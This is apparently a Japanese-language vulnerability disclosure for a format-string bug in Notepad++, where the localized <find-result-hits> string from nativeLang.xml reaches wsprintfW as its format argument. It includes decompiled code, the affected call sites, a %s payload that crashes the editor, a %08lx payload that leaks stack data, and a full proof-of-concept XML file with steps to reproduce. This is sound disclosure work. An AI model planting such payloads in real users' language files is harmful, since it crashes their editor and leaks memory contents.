検索操作が結果を生成すると、sub_1400916C0 は nativeLang.xml からローカライズされた文字列を取得し、それをそのまま wsprintfW のフォーマット文字列として渡すことで、ヒット数ラベルをフォーマットします:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // ローカライズされた文字列を取得
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: ヒープポインタ
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 がフォーマット文字列
この文字列は nativeLang.xml の <find-result-hits> 属性に由来し、データフローのどの時点でも検証は行われません:
nativeLang.xml
→ TinyXML パーサー (XML 属性を読み取り、コンテンツの検証なし)
→ NativeLangSpeaker (UTF-8 → UTF-16 変換、検証なし)
→ sub_140099E60 ($INT_REPLACE$ 置換 — フォーマット指定子はそのまま残る)
→ wsprintfW(buf, v38) (v38 がフォーマット文字列引数として使用され、データとしては扱われない)
wsprintfW は引数が2つだけで呼び出されます — 可変長のデータ引数はありません。v38 内のフォーマット指定子は、x64 呼び出し規約の引数スロット (R8、R9、スタック) から値を読み取りますが、そこにはレジスタの残存ガベージが含まれています。
| フィールド | 値 |
|---|---|
| 関数 | sub_1400916C0 (検索結果パネル初期化子) |
| シンクアドレス | 0x140091E6D |
| トリガー | 結果を生成する任意の検索 (すべて検索、ファイル内検索、すべてマーク、すべて置換) |
sub_1400916C0 は FindResults WndProc (sub_140089BF0) 内の4つの箇所から呼び出されます:
| アドレス | トリガー |
|---|---|
0x14008B63B | ファイル内検索 |
0x14008B72D | 現在のドキュメント / すべてのドキュメントをすべて検索 |
0x14008B97E | すべて置換 |
0x14008B9FE | すべてマーク |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
各 %s は、ジャンクなレジスタ値またはスタック値を WCHAR* ポインタとして解釈します。最初の無効なアドレスが即座にアクセス違反 (STATUS_ACCESS_VIOLATION、0xC0000005) を引き起こします。悪意のあるファイルが削除されるまで、Notepad++ は以降のすべての検索でクラッシュします — 信頼性の高い、一発で決まる DoS です。
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
スタックとレジスタの内容が DWORD 値として読み取られ、16進数としてフォーマットされ、検索結果パネルのタブに表示されます。ライブテストで観測された出力:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
5852bb18 や 7b1052e0 などの値は、切り詰められた64ビットポインタの断片です。
wsprintfW (user32.dll) は %n をサポートしていません — 書き込み先を指定するプリミティブは存在しません。ハードコードされた1024文字の出力制限は、宛先バッファのサイズと正確に一致するため、ヒープバッファオーバーフローは発生しません。この脆弱性は DoS + 情報漏洩 として確認されています。このフォーマット文字列だけではコード実行は達成できません。
nativeLang.xml はデフォルトでは存在しません — 英語版のインストールは影響を受けません。ユーザーが 設定 → 環境設定 → 一般 → ローカライゼーション で英語以外の言語を選択すると、Notepad++ は対応するファイルを次の場所に書き込みます:
| エディション | パス |
|---|---|
| インストーラー版 | %APPDATA%\Notepad++\nativeLang.xml |
| ポータブル版 | <npp_directory>\nativeLang.xml |
同梱されている94個のローカライゼーションファイルのうち、43個に <find-result-hits> 要素が含まれています。これらの言語のユーザーは、nativeLang.xml が改ざんされた場合に脆弱になります — たとえば、フォーラムやダウンロードサイトを通じて配布される悪意のあるコミュニティ言語パックを介してです。攻撃者は他のすべての文字列に正規の翻訳を含めることができるため、ファイルは正常に見えます。
次のファイルを <npp_directory>\nativeLang.xml (ポータブル版) または %APPDATA%\Notepad++\nativeLang.xml (インストーラー版) に配置し、Notepad++ を開いて結果を生成する任意の検索を実行します (Ctrl+F → 現在のドキュメントをすべて検索)。
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
結果: Notepad++ は wsprintfW 内のアクセス違反により即座にクラッシュします。
追加のペイロードのバリエーションは payloads/ ディレクトリにあります。